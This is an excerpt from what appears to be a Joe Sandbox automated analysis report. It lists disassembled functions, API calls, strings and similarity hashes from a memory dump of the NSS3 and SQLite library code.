Part of subcall function 6C75AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C75AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F2B

Strings

Aborting, xrefs: 6C870EB3
Assertion failure: %s, at %s:%d, xrefs: 6C870ED9, 6C870EE5, 6C870F06, 6C870F0B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 0c88e375bdbca7e4853880fdc5b5567906cdb6f4860b824ec9f5468e91119eea
Instruction ID: 729d6a466b8ee5ee3924921898d547ca1042f1d69f3accf21692effe6fc514d2
Opcode Fuzzy Hash: 0c88e375bdbca7e4853880fdc5b5567906cdb6f4860b824ec9f5468e91119eea
Instruction Fuzzy Hash: D501ADB5A00104BBDF21AFA8DD4989B3B3CEF46268B444424FD0987642E732E924C7F2

Function 6C851C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=ul,?,?,6C754E1D), ref: 6C851C8A
sqlite3_free.NSS3(00000000), ref: 6C851CB6

Strings

a generated column, xrefs: 6C851C6C
a CHECK constraint, xrefs: 6C851C76, 6C851C81
an index, xrefs: 6C851C67
w=ul, xrefs: 6C851C44
non-deterministic use of %s() in %s, xrefs: 6C851C85

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=ul
API String ID: 1840970956-3118579374
Opcode ID: 517e591b6de5583eb4adc9020d60333d8c020f998e88dd7ada462a2a5abadd53
Instruction ID: a922f14a27863424e20f41985949743a12718687b55649817662d3733b1c2072
Opcode Fuzzy Hash: 517e591b6de5583eb4adc9020d60333d8c020f998e88dd7ada462a2a5abadd53
Instruction Fuzzy Hash: 8C0124B1A001405BD720AE2CD9029B177E5EF8634CB554C6DE9459BB02EB22E85AC751

Function 6C834D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C834DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C834DE0

Strings

invalid, xrefs: 6C834DB8
%s at line %d of [%.10s], xrefs: 6C834DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C834DCB
misuse, xrefs: 6C834DD5
API call with %s database connection pointer, xrefs: 6C834DBD

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 3da097e8f7d46cc0da42ef4be5aab2e1ced6f4fc774287097b52c0155280eab2
Instruction ID: 752719b4a8c53251e1ca6333a7fac842359f6ee5110740ba660b0224943ccbbe
Opcode Fuzzy Hash: 3da097e8f7d46cc0da42ef4be5aab2e1ced6f4fc774287097b52c0155280eab2
Instruction Fuzzy Hash: 50F02421E045786FD7324198DF14F863B554FC131AF0A3DA0ED0C7BF52D207985082C0

Function 6C834DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C834E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C834E4D

Strings

invalid, xrefs: 6C834E25
%s at line %d of [%.10s], xrefs: 6C834E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C834E38
misuse, xrefs: 6C834E42
API call with %s database connection pointer, xrefs: 6C834E2A

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 123cf39deab877dfb0e805ce5098cf6ebe60e98568e81059a91ba43eb1ea72bb
Instruction ID: 0113d2ea0fc19c7f7a9d17af748953851e00cbae01df034b8d3cd9383b3583a9
Opcode Fuzzy Hash: 123cf39deab877dfb0e805ce5098cf6ebe60e98568e81059a91ba43eb1ea72bb
Instruction Fuzzy Hash: 7BF0E211F489386BE63011A9DF14F863B864B91339F09BCB1EA0E77FD2D20B996152D1

Function 6C7A0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?,?,00000000,?,?), ref: 6C7A0CB3

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?), ref: 6C7A0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?), ref: 6C7A0DEC

Part of subcall function 6C7C0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C762AF5,?,?,?,?,?,6C760A1B,00000000), ref: 6C7C0F1A
Part of subcall function 6C7C0F10: malloc.MOZGLUE(00000001), ref: 6C7C0F30
Part of subcall function 6C7C0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7C0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?), ref: 6C7A0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000), ref: 6C7A0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?), ref: 6C7A0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?,?,00000000), ref: 6C7A0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?), ref: 6C7A0E79

Part of subcall function 6C7B1560: TlsGetValue.KERNEL32(00000000,?,6C780844,?), ref: 6C7B157A
Part of subcall function 6C7B1560: EnterCriticalSection.KERNEL32(?,?,?,6C780844,?), ref: 6C7B158F
Part of subcall function 6C7B1560: PR_Unlock.NSS3(?,?,?,?,6C780844,?), ref: 6C7B15B2

Part of subcall function 6C77B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C781397,00000000,?,6C77CF93,5B5F5EC0,00000000,?,6C781397,?), ref: 6C77B1CB
Part of subcall function 6C77B1A0: free.MOZGLUE(5B5F5EC0,?,6C77CF93,5B5F5EC0,00000000,?,6C781397,?), ref: 6C77B1D2

Part of subcall function 6C7789E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7788AE,-00000008), ref: 6C778A04
Part of subcall function 6C7789E0: EnterCriticalSection.KERNEL32(?), ref: 6C778A15
Part of subcall function 6C7789E0: memset.VCRUNTIME140(6C7788AE,00000000,00000132), ref: 6C778A27
Part of subcall function 6C7789E0: PR_Unlock.NSS3(?), ref: 6C778A35

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4901cf62094b43e33c1fb38c1b8bb4dc434d4f1fff322221fd0c86fb07334130
Instruction ID: f714a4387e8376526740426f12890364e39d49d2b2e3c6c319d74266b0934c00
Opcode Fuzzy Hash: 4901cf62094b43e33c1fb38c1b8bb4dc434d4f1fff322221fd0c86fb07334130
Instruction Fuzzy Hash: 5F51E9B6E012005FEB109FA4DE89AAB37A8DF0521CF140974ED1697B02F731ED1987E2

Function 6C756E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C756ED8
sqlite3_value_text.NSS3(?,?), ref: 6C756EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C756FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C756FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C756FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C757010
sqlite3_value_blob.NSS3(?,?), ref: 6C75701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C757052

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f24fae0b756f1be570fead33966d4fe5619cd2c4d7163953a312a47bed49812e
Instruction ID: d6c4cf4e8910183d1e5604d126b98b16d00bdee77a30bbe3c11face562dedf75
Opcode Fuzzy Hash: f24fae0b756f1be570fead33966d4fe5619cd2c4d7163953a312a47bed49812e
Instruction Fuzzy Hash: 9661B6B1E151158BDB00CF68CA447EEB7B2AF45308F644174D415AB791EF369D25CB90

Function 6C779C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C778850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C780715), ref: 6C778859
Part of subcall function 6C778850: PR_NewLock.NSS3 ref: 6C778874
Part of subcall function 6C778850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C77888D

PR_NewLock.NSS3 ref: 6C779CAD

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

TlsGetValue.KERNEL32 ref: 6C779CE8
EnterCriticalSection.KERNEL32(?,?,6C77ECEC,6C782FCD,00000000,?,6C782FCD,?), ref: 6C779D01
TlsGetValue.KERNEL32(?,?,?,6C77ECEC,6C782FCD,00000000,?,6C782FCD,?), ref: 6C779D38
EnterCriticalSection.KERNEL32(?,?,6C77ECEC,6C782FCD,00000000,?,6C782FCD,?), ref: 6C779D4D
PR_Unlock.NSS3 ref: 6C779D70
PR_Unlock.NSS3 ref: 6C779DC3
PR_NewLock.NSS3 ref: 6C779DDD

Part of subcall function 6C7788D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C780725,00000000,00000058), ref: 6C778906
Part of subcall function 6C7788D0: EnterCriticalSection.KERNEL32(?), ref: 6C77891A
Part of subcall function 6C7788D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C77894A
Part of subcall function 6C7788D0: calloc.MOZGLUE(00000001,6C78072D,00000000,00000000,00000000,?,6C780725,00000000,00000058), ref: 6C778959
Part of subcall function 6C7788D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C778993
Part of subcall function 6C7788D0: PR_Unlock.NSS3(?), ref: 6C7789AF

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: bf9aff1e93b5b25a5fa8d7959755a3e09f8a8705a38ec86c5982b1d68a7240b0
Instruction ID: e454d0f207420555b0549d1beeab5a3cf90398d212ecf6f53af5f26cf7be52fd
Opcode Fuzzy Hash: bf9aff1e93b5b25a5fa8d7959755a3e09f8a8705a38ec86c5982b1d68a7240b0
Instruction Fuzzy Hash: 425161706057099FDF20EF68C28966ABBF0BF54359F158939D8989B711EB30E844CBE1

Function 6C879EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C879EC0
EnterCriticalSection.KERNEL32(?), ref: 6C879EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C879F73
EnterCriticalSection.KERNEL32(?), ref: 6C879FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C879FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C879FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C87A01D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 53e495c303a897ef0a71f5b7322d491f33d57c120bb9a0217e5c5c783bbcd243
Instruction ID: 609f3078b40baae8df5a9f5e178b5a17bd45bc1166d93c4e155105093b5308e6
Opcode Fuzzy Hash: 53e495c303a897ef0a71f5b7322d491f33d57c120bb9a0217e5c5c783bbcd243
Instruction Fuzzy Hash: 4451C0B2800600CBCB309F29D58868EB7F0FF04318F198979D85957B52E735E888CBE1

Function 6C76DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C76DCFA

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C76DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C76DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C76DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C76DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C76DD8F

Part of subcall function 6C7806A0: TlsGetValue.KERNEL32 ref: 6C7806C2
Part of subcall function 6C7806A0: EnterCriticalSection.KERNEL32(?), ref: 6C7806D6
Part of subcall function 6C7806A0: PR_Unlock.NSS3 ref: 6C7806EB

CERT_DestroyCertificate.NSS3(?), ref: 6C76DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C76DDB7

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: cba46a764f5aaf57e62032af2c589ab1361c1f8b4560b7fec22a1ad7c614ecc9
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 0921AEB6E011159BDF01AFA6DE469DEB7B8AF25308B240032ED14A7B05F731E9148BE1

Function 6C763C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C7D460B,?,?), ref: 6C763CA9
EnterCriticalSection.KERNEL32(?), ref: 6C763CB9
PL_HashTableLookup.NSS3(?), ref: 6C763CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C763CD6
PR_Unlock.NSS3 ref: 6C763CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C763CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C763D03
PR_Unlock.NSS3 ref: 6C763D15

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: df2d176bc2932d4670526659a3105544442c78b66f14771b2db915fbb2893aaf
Instruction ID: 0a704bd9ae7cc1c39e860cc005624f7da19ff0979cc6f4ad9c5e49af7570c97b
Opcode Fuzzy Hash: df2d176bc2932d4670526659a3105544442c78b66f14771b2db915fbb2893aaf
Instruction Fuzzy Hash: A2114C7AE00115ABDB121B39DD0E8AA3B78EF0235CF150131ED1893B12FB32D968C6E1

Function 6C769C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7811C0: PR_NewLock.NSS3 ref: 6C781216

free.MOZGLUE(?), ref: 6C769E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C769E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C769E4E
TlsGetValue.KERNEL32 ref: 6C769EA2

Part of subcall function 6C779500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C779546

EnterCriticalSection.KERNEL32(?), ref: 6C769EB6
PR_Unlock.NSS3 ref: 6C769ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C769F18

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 5e8134917845d2fd43a54f1cd8a800b9cfb7d3cbf8f6822bce94dad05db37af2
Instruction ID: 89f8609ef66b24ab73012562a075ae249d5b80d1577fb42a03daf9dd72af6df1
Opcode Fuzzy Hash: 5e8134917845d2fd43a54f1cd8a800b9cfb7d3cbf8f6822bce94dad05db37af2
Instruction Fuzzy Hash: E381F5B2A006019BEB109F35CE49AABB7A9BF6534CF044538EC4587F41FB31E918C7A1

Function 6C77DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C77AB10: DeleteCriticalSection.KERNEL32(D958E852,6C781397,5B5F5EC0,?,?,6C77B1EE,2404110F,?,?), ref: 6C77AB3C
